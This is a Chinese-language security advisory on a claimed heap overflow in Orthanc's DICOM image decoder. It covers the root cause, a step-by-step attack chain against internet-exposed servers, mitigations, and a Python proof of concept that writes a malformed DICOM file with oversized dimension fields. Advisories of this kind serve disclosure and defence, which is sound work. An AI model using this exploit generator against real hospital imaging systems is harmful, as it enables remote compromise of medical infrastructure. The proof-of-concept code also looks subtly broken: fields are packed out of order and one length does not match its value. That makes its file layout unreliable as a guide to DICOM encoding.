IPBUF安全漏洞报告
English
CVE-2026-5442 CVSS 9.8 严重

CVE-2026-5442 DICOM图像解码器堆缓冲区溢出漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5442
漏洞类型
堆缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc Server / DICOM Image Decoder

相关标签

RCEBuffer OverflowHeap OverflowDICOMOrthancCVE-2026-5442

漏洞概述

该漏洞是DICOM图像解码器中存在的一个堆缓冲区溢出漏洞。由于维度字段使用了错误的值表示(VR)类型,即使用了无符号长(UL)而非预期的无符号短(US),导致系统可能处理极大的图像维度。这种异常输入会在帧大小计算时触发整数溢出,进而导致图像解码过程中发生越界内存访问,攻击者可利用此漏洞执行任意代码或导致服务崩溃。

技术细节

该漏洞的根源在于DICOM文件解析逻辑中对维度字段值表示(VR)的验证缺失。按照DICOM标准,图像的宽度和高度等维度信息应使用VR US(Unsigned Short,通常为2字节)编码,但受影响的组件错误地接受了VR UL(Unsigned Long,4字节)编码的维度数据。当攻击者构造恶意的DICOM文件并在其中指定超大的维度值时,解析器在计算图像帧大小时会发生整数溢出。由于计算出的内存分配大小小于实际解码所需的缓冲区大小,后续的图像解码操作会向已分配的堆缓冲区之外写入数据,从而造成堆缓冲区溢出。该漏洞无需身份认证且无需用户交互即可通过网络触发,攻击者可利用越界写入控制程序执行流,实现远程代码执行,严重威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
1. 侦察与目标定位
攻击者扫描网络,寻找暴露在互联网上且运行存在漏洞的DICOM解析服务(如Orthanc Server)的目标。
STEP 2
2. 构造恶意文件
攻击者编写脚本生成特制的DICOM文件,将图像的行(Rows)和列(Columns)字段的值表示(VR)修改为UL(无符号长整型),并赋值为极大的数值。
STEP 3
3. 投递载荷
攻击者通过DICOM协议(通常为端口4242)将恶意文件上传到目标服务器,或诱导服务器解析该文件。
STEP 4
4. 触发溢出
目标服务器解析DICOM文件时,由于未正确验证VR类型,将UL类型解析为维度值,导致计算帧大小时发生整数溢出。
STEP 5
5. 执行任意代码
随后的图像解码操作因计算错误的缓冲区大小而发生堆缓冲区溢出,攻击者可覆盖关键内存结构,从而在目标系统上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This is a conceptual PoC to demonstrate the vulnerability trigger. # It constructs a malformed DICOM file with VR UL (Unsigned Long) # instead of VR US (Unsigned Short) for dimension fields. import struct def create_malformed_dicom(filename): # Minimal DICOM preamble and prefix preamble = b'\x00' * 128 prefix = b'DICM' # File Meta Information Group Length (Tag: (0002,0000)) # Using VR UL (Unsigned Long) incorrectly for demonstration purposes, # though the bug specifically lies in image dimension parsing. fmi_group_len = struct.pack('<HHL', 0x0002, 0x0000, 0x00000004) + b'UL' + struct.pack('<L', 100) # Transfer Syntax UID (Tag: (0002,0010)) ts_uid = struct.pack('<HH', 0x0002, 0x0010) + b'UI' + b'\x00\x00' + b'1.2.840.10008.1.2.1' # Dataset: Image Dimensions (Rows - Tag: (0028,0010)) # Vulnerability: Using 'UL' VR instead of 'US' # Setting a very large value to trigger integer overflow in size calculation large_dim = 0xFFFFFFFF rows_tag = struct.pack('<HH', 0x0028, 0x0010) rows_vr = b'UL' rows_len = struct.pack('<L', 4) rows_val = struct.pack('<L', large_dim) # Columns (Tag: (0028,0011)) - same technique cols_tag = struct.pack('<HH', 0x0028, 0x0011) cols_vr = b'UL' cols_len = struct.pack('<L', 4) cols_val = struct.pack('<L', large_dim) # Pixel Data (Tag: (7FE0,0010)) - Dummy data pixel_tag = struct.pack('<HH', 0x7FE0, 0x0010) pixel_vr = b'OB' pixel_len = struct.pack('<L', 0xFFFFFFFF) # Undefined length pixel_data = b'A' * 100 # Some padding with open(filename, 'wb') as f: f.write(preamble + prefix) f.write(fmi_group_len + ts_uid) f.write(rows_tag + rows_vr + rows_len + rows_val) f.write(cols_tag + cols_vr + cols_len + cols_val) f.write(pixel_tag + pixel_vr + pixel_len + pixel_data) print(f"[+] Malformed DICOM file created: {filename}") print(f"[+] This file attempts to trigger the buffer overflow via VR mismatch.") if __name__ == "__main__": create_malformed_dicom("exploit_dicom.dcm")

影响范围

Orthanc Server (具体受影响版本请参考官方安全通告)

防御指南

临时缓解措施
建议立即检查并应用官方发布的安全补丁。在补丁部署前,应将受影响的DICOM服务隔离在受信网络环境中,并严格限制文件上传来源。可部署WAF或专用协议防火墙对DICOM流量进行深度检测,过滤包含畸形维度字段的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表